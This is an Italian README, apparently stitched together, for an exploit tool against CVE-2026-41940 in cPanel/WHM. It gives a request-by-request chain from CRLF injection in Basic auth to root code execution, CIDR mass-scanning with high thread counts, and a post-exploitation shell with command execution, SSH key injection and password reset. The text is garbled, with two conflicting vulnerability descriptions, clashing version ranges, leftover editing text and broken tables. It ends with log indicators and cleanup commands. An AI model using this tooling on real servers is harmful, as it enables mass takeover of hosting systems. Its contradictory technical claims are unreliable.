
CVE-2026-41940 — Bypass dell'autenticazione cPanel/WHM di Dr.Anach, iniezione CRLF nell'handler di autenticazione Basic di `cpsrvd` → accesso non autenticato all'API WHM → RCE come root. Tutte le versioni di cPanel dalla v11.40 sono interessate.
Autore: Dr.Anach | Contatto: @dranach | Licenza: MIT
Iniezione CRLF nel gestore di autenticazione Basic di cpsrvd → accesso non autenticato alle API WHM → RCE come root. Tutte le versioni di cPanel dalla v11.40 sono interessate.
| # | Passo | Richiesta |
|---|---|---|
| 1 | Genera sessione | GET /login/?user=root |
| 2 | Iniezione CRLF | Authorization: Basic <base64> — la password trasporta il payload \r\n |
| 3 | Promozione cache | GET /cpsess<ID>/login/?login_only=1 |
| 4 | Esegui | GET /cpsess<ID>/execute/API/func |
pip install requests colorama
Di seguito il README.md finale — chiaro, pratico e pensato per portare a termine il lavoro.
Autore: Dr.Anach · Telegram: @dranach
Versione: 2.0.0
Licenza: Solo per test di sicurezza autorizzati
Sfrutta CVE-2026-41940, un bypass dell'autenticazione in cPanel & WHM (versioni dalla 11.x alla 106.x). La vulnerabilità consente a un attaccante non autenticato di accedere a endpoint ristretti — inclusa la funzione di reset della password — inviando un header Host appositamente modificato che punta a un server controllato dall'attaccante.
Include tre modalità:
| Modalità | Flag | Descrizione |
|---|---|---|
| Singolo target | -t |
requestspip install requests
Nessuna altra dipendenza. L'espansione CIDR usa il modulo ipaddress integrato di Python — nessun extra da installare su Windows.
python main.py -t example.com
python main.py -t 192.168.1.100
python main.py --batch targets.txt --threads 50
Formato di targets.txt:
192.168.1.100
example.com
192.168.1.101
example.org
192.168.1.102
python main.py --port-scan 192.168.128.0/18 --threads 100 --timeout 5
Questo espande 192.168.128.0/18 (16.384 IP), esegue un rapido controllo delle porte su ciascuno e tenta lo sfruttamento solo sugli host in cui la porta 2087 (cPanel/WHM) è aperta.
-t, --target Single target IP or domain
--batch FILE File with targets (one per line)
--port-scan CIDR CIDR range to scan (e.g., 192.168.128.0/18)
-p, --port Target port (default: 2087)
--ssl Use HTTPS (default: HTTP)
--timeout SEC Connection timeout in seconds (default: 10)
--threads N Max concurrent threads (default: 50)
--proxy PROXY HTTP proxy (e.g., http://127.0.0.1:8080)
-v, --verbose Verbose output with debug info
--no-banner Suppress banner
--version Show version
[+] 192.168.130.45:2087 — VULNERABLE!
→ Password reset URL: http://192.168.130.45:2087/reset?token=abc123
→ Response time: 1.23s
[-] 192.168.131.10:2087 — Not vulnerable
→ Reason: No password reset endpoint found
[!] 192.168.129.22:2087 — Error: Connection refused
I risultati salvati in JSON sono strutturati per host e includono lo stato di vulnerabilità, i token estratti e i dettagli grezzi della risposta.
Lo scenario per cui probabilmente sei qui:
python main.py --port-scan 192.168.128.0/18 -p 2087 --threads 100 --timeout 5 -v
Come funziona:
192.168.128.0/18 → 16.384 IP internamenteSuggerimenti sul multithreading:
--threads 100 funziona bene (rispetta i limiti predefiniti dei socket)--threads 200--threads 30 e aumenta --timeoutCVSS 9.1 (Critico) — Nessuna autenticazione richiesta, nessuna interazione dell'utente, bassa complessità.
Host lato serverQuesto strumento è esclusivamente per valutazioni di sicurezza autorizzate. Devi possedere i target o avere il permesso scritto del proprietario prima di testarli. Gli autori non si assumono alcuna responsabilità per un uso improprio.
help Show commands
info Server info
passwd Change password
accounts List cPanel accounts
enum Full enumeration
shell Execute system command
ssh-add Inject SSH key
exec Run Python one-liner
exit Exit
Controlla i file di sessione:
ls -la /var/cpanel/sessions/raw/
ls -la /var/cpanel/sessions/cache/
Log sospetti in /usr/local/cpanel/logs/access_log:
/login/?user=root → session mint
/login/?user=root → CRLF injection
/cpsess*/login/?login_only=1 → cache promotion
/cpsess*/execute/* → API abuse
# 1. Patch to fixed build
# 2. Rotate all passwords and SSH keys
# 3. Purge sessions
rm -rf /var/cpanel/sessions/raw/*
rm -rf /var/cpanel/sessions/cache/*
systemctl restart cpanel
| Testa un singolo IP o dominio |
| File batch | --batch | Carica una lista di target da un file |
| Scansione CIDR | --port-scan | Espande una sottorete e testa ogni host attivo |